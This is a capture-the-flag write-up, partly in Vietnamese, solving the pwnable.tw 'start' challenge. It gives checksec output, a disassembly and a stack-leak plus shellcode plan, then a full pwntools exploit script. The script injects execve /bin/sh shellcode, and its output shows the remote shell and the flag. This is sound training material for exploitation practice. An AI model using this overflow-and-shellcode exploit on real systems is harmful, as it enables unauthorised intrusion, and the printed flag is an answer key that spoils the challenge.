pwnable.tw

Start

February 7, 2026 January 21, 2026 Easy
Author Author Hung Nguyen Tuong

Recon

Mitigation

$ pwn checksec start
[*] '/home/hungnt/ctfs/pwnable.tw/start'
    Arch:     i386-32-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)

Code

pwndbg> disass _start
Dump of assembler code for function _start:
   0x08048060 <+0>:	push   esp
   0x08048061 <+1>:	push   0x804809d
   0x08048066 <+6>:	xor    eax,eax
   0x08048068 <+8>:	xor    ebx,ebx
   0x0804806a <+10>:	xor    ecx,ecx
   0x0804806c <+12>:	xor    edx,edx
   0x0804806e <+14>:	push   0x3a465443
   0x08048073 <+19>:	push   0x20656874
   0x08048078 <+24>:	push   0x20747261
   0x0804807d <+29>:	push   0x74732073
   0x08048082 <+34>:	push   0x2774654c
   0x08048087 <+39>:	mov    ecx,esp
   0x08048089 <+41>:	mov    dl,0x14
   0x0804808b <+43>:	mov    bl,0x1
   0x0804808d <+45>:	mov    al,0x4
   0x0804808f <+47>:	int    0x80
   0x08048091 <+49>:	xor    ebx,ebx
   0x08048093 <+51>:	mov    dl,0x3c
   0x08048095 <+53>:	mov    al,0x3
   0x08048097 <+55>:	int    0x80
=> 0x08048099 <+57>:	add    esp,0x14
   0x0804809c <+60>:	ret
End of assembler dump.

Solve

Mục tiêu là syscall execve để spawn shell, nhưng không có chuỗi /bin/sh để làm vậy.

Vì stack là rwx -> dùng shellcode. Nhưng chỉ có thể ghi shellcode vào stack -> cần phải leak stack.

Vậy thì ghi đè return address của _start về 0x8048087 <_start+39> để gọi write, leak địa chỉ stack ở dưới return address.

Script

#!/usr/bin/env python3

from pwn import *

sla = lambda p, d, x: p.sendlineafter(d, x)
sa = lambda p, d, x: p.sendafter(d, x)
sl = lambda p, x: p.sendline(x)
s = lambda p, x: p.send(x)

slan = lambda p, d, n: p.sendlineafter(d, str(n).encode())
san = lambda p, d, n: p.sendafter(d, str(n).encode())
sln = lambda p, n: p.sendline(str(n).encode())
sn = lambda p, n: p.send(str(n).encode())

ru = lambda p, x: p.recvuntil(x)
rl = lambda p: p.recvline()
rn = lambda p, n: p.recvn(n)
rr = lambda p, t: p.recvrepeat(timeout=t)
ra = lambda p, t: p.recvall(timeout=t)
ia = lambda p: p.interactive()

lg = lambda t, addr: print(t, '->', hex(addr))
binsh = lambda libc: next(libc.search(b"/bin/sh\x00"))
leak_bytes = lambda r, offset=0: u64(r.ljust(8, b"\0")) - offset
leak_hex = lambda r, offset=0: int(r, 16) - offset
leak_dec = lambda r, offset=0: int(r, 10) - offset
pad = lambda len=1, c=b'A': c * len

exe = ELF("start_patched", checksec=False)

context.terminal = ["/usr/bin/tilix", "-a", "session-add-right", "-e", "bash", "-c"]
context.binary = exe

gdbscript = '''
cd ''' + os.getcwd() + '''
set solib-search-path ''' + os.getcwd() + '''
set sysroot /
set follow-fork-mode parent
set detach-on-fork on
continue
'''

def conn():
    if args.LOCAL:
        p = process([exe.path])
        sleep(0.1)
        if args.GDB:
            gdb.attach(p, gdbscript=gdbscript)
            sleep(0.5)
        return p
    else:
        host = "chall.pwnable.tw"
        port = 10000
        return remote(host, port)

p = conn()

# Leaking stack address
s(p, flat(
    pad(20),
    0x8048087
))

ru(p, b'CTF:')
stack = leak_bytes(rn(p, 4))
lg("stack", stack)

# Shellcode https://www.exploit-db.com/exploits/43735
s(p, flat(
    pad(20),
    stack + 0x14,
    b"\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f",
    b"\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd",
    b"\x80"
))

rr(p, 0.1)
ia(p)
$ py solve.py
[+] Opening connection to chall.pwnable.tw on port 10000: Done
stack -> 0xff8c3580
[*] Switching to interactive mode
$ ls
bin
boot
dev
etc
home
lib
lib32
lib64
libx32
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
$ cd home
$ ls
start
$ cd start
$ ls
flag
run.sh
start
$ cat flag
FLAG{Pwn4bl3_tW_1s_y0ur_st4rt}